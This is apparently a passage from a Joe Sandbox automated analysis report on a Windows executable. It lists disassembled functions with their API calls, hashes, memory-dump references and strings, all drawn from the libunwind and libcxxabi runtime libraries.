                                  • Instruction Fuzzy Hash: F5119312E3BA4782EB14BF22E850379E6B26FD9F84F840475CD4D93361EE3C98468360
                                  Function 00007FF7797070F0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: false$true
                                  • API String ID: 2500458235-2658103896
                                  • Opcode ID: 1e1fe210c3eab68983c4b7e7364e77fabcd6bcea1fa908b9b662bbad9f5be460
                                  • Instruction ID: 9602c7a7a0f6bb39ee1942a32a240c9d2fed4b8b65f355b959c0ebbb912e6415
                                  • Opcode Fuzzy Hash: 1e1fe210c3eab68983c4b7e7364e77fabcd6bcea1fa908b9b662bbad9f5be460
                                  • Instruction Fuzzy Hash: D001BEE3E2674782EB18AF55E9413B9A372AF487C0F848431C65C07791EE2CD4818350
                                  Function 00007FF7796F89B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_proc_name(cursor=%p, &buf=%p, bufLen=%lu)
                                  • API String ID: 1137233558-3584756005
                                  • Opcode ID: ddb072e9844bd1fc43088026deb61ec753b8945efa0d84c694245139cab19971
                                  • Instruction ID: 12124a624e190433c51b6d4c2c1e668781a74f3fb8d0271a6a4d5b87dac2768a
                                  • Opcode Fuzzy Hash: ddb072e9844bd1fc43088026deb61ec753b8945efa0d84c694245139cab19971
                                  • Instruction Fuzzy Hash: 8011A313A3B28782FB04AF16AC057B6D7A16F95FD0F84057ADD0E577A1ED3C98428324
                                  Function 00007FF7796F4D00 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00007FF7796F8C00: InitOnceExecuteOnce.KERNEL32(?,?,?,?,00007FF7796F4D18,?,?,?,00007FF7796F2E71,?,?,00007FF77981CC48,00000000,00007FF7796F1609), ref: 00007FF7796F8C11
                                  • FlsGetValue.KERNEL32(?,?,?,00007FF7796F2E71,?,?,00007FF77981CC48,00000000,00007FF7796F1609,?,?,?,?,00007FF7796F1315), ref: 00007FF7796F4D22
                                    • Part of subcall function 00007FF7796F8C90: FlsSetValue.KERNEL32(?,?,?,?,00007FF7796F4E16), ref: 00007FF7796F8C94
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: OnceValue$ExecuteInitcallocmemset
                                  • String ID: cannot allocate __cxa_eh_globals$execute once failure in __cxa_get_globals_fast()$std::__libcpp_tls_set failure in __cxa_get_globals()
                                  • API String ID: 2044551959-1509371760
                                  • Opcode ID: f1f45e0f00f5ce3d31606f51eb7ee3d72e9977eaa92f880a2da06ea4c8e6213e
                                  • Instruction ID: c7e623bc3853b2c324f79879c4c12f721ad98dfb25a18c5007bf1880c14a5010
                                  • Opcode Fuzzy Hash: f1f45e0f00f5ce3d31606f51eb7ee3d72e9977eaa92f880a2da06ea4c8e6213e
                                  • Instruction Fuzzy Hash: FC012C23E3B10792FA44BF11A8556B6E2735F84784FC04974D80D86BE2FE2CB8418320
                                  Function 00007FF7796F8880 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_proc_info(cursor=%p, &info=%p)
                                  • API String ID: 1137233558-1935908800
                                  • Opcode ID: e8ba0983abbb9daa666b015af6d5d3ea47504ba357e157cfbd2d07a602640b6c
                                  • Instruction ID: 09d3c4e3f3517e5777699f45da8fab97521cb648e9785916cf0bb164e156ebdd
                                  • Opcode Fuzzy Hash: e8ba0983abbb9daa666b015af6d5d3ea47504ba357e157cfbd2d07a602640b6c
                                  • Instruction Fuzzy Hash: 4801DB12E3F65382FB147F16E9003B6D6B15F49BC0F840479C91E573D1EE1C95818360
                                  Function 00007FF7796F18B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp, xrefs: 00007FF7796F19FB
                                  • (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0", xrefs: 00007FF7796F19F4
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertabort
                                  • String ID: (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0"$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp
                                  • API String ID: 1072228434-1306384422
                                  • Opcode ID: 55f8dda17198795800073456670580f640aef58b898c353accad96664cddbd08
                                  • Instruction ID: 71d670a7b596defbe0e69f6d67798256dac695d221a0d84fb8ba916b962a21eb
                                  • Opcode Fuzzy Hash: 55f8dda17198795800073456670580f640aef58b898c353accad96664cddbd08
                                  • Instruction Fuzzy Hash: 6C015AA3E3B61380FD65EF44D44117A92B76F543C0FCA0635CD4C82280FE2DA98583B0
                                  Function 00007FF77970B380 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: basi$basic_istream
                                  • API String ID: 2326172077-1189760207
                                  • Opcode ID: f31d0bfda383c1b6082b963be46f988af25024c433917d3f22b798f058380b77
                                  • Instruction ID: 55f0e76c6f70edfa8c7de0110874fcfd7fbffeec4555afe8d25e06cf12a4643c
                                  • Opcode Fuzzy Hash: f31d0bfda383c1b6082b963be46f988af25024c433917d3f22b798f058380b77
                                  • Instruction Fuzzy Hash: BC0171A3B2665383EEA49F09F940769E3A1EB587C0F848431CA5D07781EB2CE6908350
                                  Function 00007FF77970B38E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: basi$basic_iostream
                                  • API String ID: 2326172077-3201662033
                                  • Opcode ID: 1823fbeb78b408ddb3383061037edbd1725e6bbaf58f914d64ac0c32d595fd86
                                  • Instruction ID: 585d12361a813500a48307d1dac13dbcaa271fc9b1d41a8bdcda1e0695aff431
                                  • Opcode Fuzzy Hash: 1823fbeb78b408ddb3383061037edbd1725e6bbaf58f914d64ac0c32d595fd86
                                  • Instruction Fuzzy Hash: 97F044E7B2665283EEA49F05F940769E7A1EB587C4F848431CB5D07785EE2CD6908350
                                  Function 00007FF7796F8920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_resume(cursor=%p)
                                  • API String ID: 1137233558-227906034
                                  • Opcode ID: ad86456c92fa133b36f51f89e8403052f5c7942e73ceb2515f9f788c2fc91f6d
                                  • Instruction ID: 90624d42a796fec438c61242f717ec220482a745ad4aad07407e4fec04cb0c91
                                  • Opcode Fuzzy Hash: ad86456c92fa133b36f51f89e8403052f5c7942e73ceb2515f9f788c2fc91f6d
                                  • Instruction Fuzzy Hash: 2A01B102E3F64782F7047F16B8043B9E6B15F49BC0FC80476C90E23391EE1C64418361
                                  Function 00007FF7796F87F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_step(cursor=%p)
                                  • API String ID: 1137233558-3760164396
                                  • Opcode ID: acbbefe464539abcaef1fe244cec8c422293ae8429e0ab9e7db6b12012d7a983
                                  • Instruction ID: c23fcf260f192bcf23c783688c85f8c7b3192f393e8fc0875deb12d5c38d1d8b
                                  • Opcode Fuzzy Hash: acbbefe464539abcaef1fe244cec8c422293ae8429e0ab9e7db6b12012d7a983
                                  • Instruction Fuzzy Hash: 0B018412E7F29782F714BF16E9003B5D6B25F99BD0FC4457AC90E27391EE2C64418360
                                  Function 00007FF7796F3ED0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: ExceptionRaisefflush
                                  • String ID: CCG $libunwind: _Unwind_RaiseException(ex_obj=%p)
                                  • API String ID: 3404444629-1152080672
                                  • Opcode ID: ce7a8e6c7a6e572c481f42ceb0385a3df82124a6507f1b87121b6176e540b98d
                                  • Instruction ID: 70fb4896b79a347acb7bc61dff372b27730b4e1ce5272617b2f7727c5fc702b4
                                  • Opcode Fuzzy Hash: ce7a8e6c7a6e572c481f42ceb0385a3df82124a6507f1b87121b6176e540b98d
                                  • Instruction Fuzzy Hash: 3AF0F411E3A69243F6247F65B9016F59372AF897C1F805235ED4D03781FE2D95828360
                                  Function 00007FF7796F2C20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: _localtime64_s$msvcrt.dll
                                  • API String ID: 1646373207-3474473506
                                  • Opcode ID: e6433b476ba74e81b9775fec21bde56a003506d6abc8a6f67e439d4aff4a0d78
                                  • Instruction ID: c2960cdb360ed815bcd879f524b02ebd16afd43d119be71dce000a4df3fc3586
                                  • Opcode Fuzzy Hash: e6433b476ba74e81b9775fec21bde56a003506d6abc8a6f67e439d4aff4a0d78
                                  • Instruction Fuzzy Hash: 7EF01722A3BA4391EE44AF02BC540B4A273AF48BC5FC08936DC0D83364EE2CA5498360
                                  Function 00007FF7796F2BB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: _localtime64_s$msvcrt.dll
                                  • API String ID: 1646373207-3474473506
                                  • Opcode ID: 996eddf4707004b26ca684804fcf8aaff092c600e71e1cc29f878679b6fdd581
                                  • Instruction ID: b842b011444ab0dacb3109950f3d352141ef3d61fa76ac0d3a72039059947007
                                  • Opcode Fuzzy Hash: 996eddf4707004b26ca684804fcf8aaff092c600e71e1cc29f878679b6fdd581
                                  • Instruction Fuzzy Hash: CDF01762A3BA4391EE44EF02BC540B5A273AF48BC5FC08936DC0D83364EE2CA5498360
                                  Function 00007FF779712CD0 Relevance: 6.4, APIs: 5, Instructions: 141COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: CriticalLeaveSection$free
                                  • String ID:
                                  • API String ID: 2017658852-0
                                  • Opcode ID: 21f2af2da6d99c8440ba50e04c259726af40d8d037963cadd681417a98c49a5a
                                  • Instruction ID: 3d3948fa64780fb2a8746680867eb979bb0289149dc5fd9a4bb21257917335e2
                                  • Opcode Fuzzy Hash: 21f2af2da6d99c8440ba50e04c259726af40d8d037963cadd681417a98c49a5a
                                  • Instruction Fuzzy Hash: F4513D23A7A647C2EB54BF059855375E2B1AF88BC4F980835C94D06791DE3CE495C3A0
                                  Function 00007FF7796FDC20 Relevance: 6.4, APIs: 5, Instructions: 129COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: free$memcpy
                                  • String ID:
                                  • API String ID: 4107583993-0
                                  • Opcode ID: 8e1b853cacffe1525c6de4d4fc907dd5a3da612f1d84b0e28030ca1136726b77
                                  • Instruction ID: 9acf99ee5b5c8a980e9b91f1a76246f920d8d4e3d40cdde467e2f3b8e414c96f
                                  • Opcode Fuzzy Hash: 8e1b853cacffe1525c6de4d4fc907dd5a3da612f1d84b0e28030ca1136726b77
                                  • Instruction Fuzzy Hash: FC513073626B9286DA60DF15F5986AEB3BAF744784F514235CB9E83B50EF38E091C310
                                  Function 00007FF7796FABE0 Relevance: 6.3, APIs: 5, Instructions: 53COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: free
                                  • String ID:
                                  • API String ID: 1294909896-0
                                  • Opcode ID: 77491b3431e31e0df476f0c4b973149adff1a1b304b4d0bc1a179ca6df4f626d
                                  • Instruction ID: 8315a306a3c8d793d7c899dc97aca1ada46a9aa1e44db577660f44b6f483b9f0
                                  • Opcode Fuzzy Hash: 77491b3431e31e0df476f0c4b973149adff1a1b304b4d0bc1a179ca6df4f626d
                                  • Instruction Fuzzy Hash: B5118427A3B54786DD69AF11E0501FAA376AF887C0F801532D75E56790FE2CE582C360
                                  Function 00007FF7796FD5C0 Relevance: 6.3, APIs: 4, Instructions: 273COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
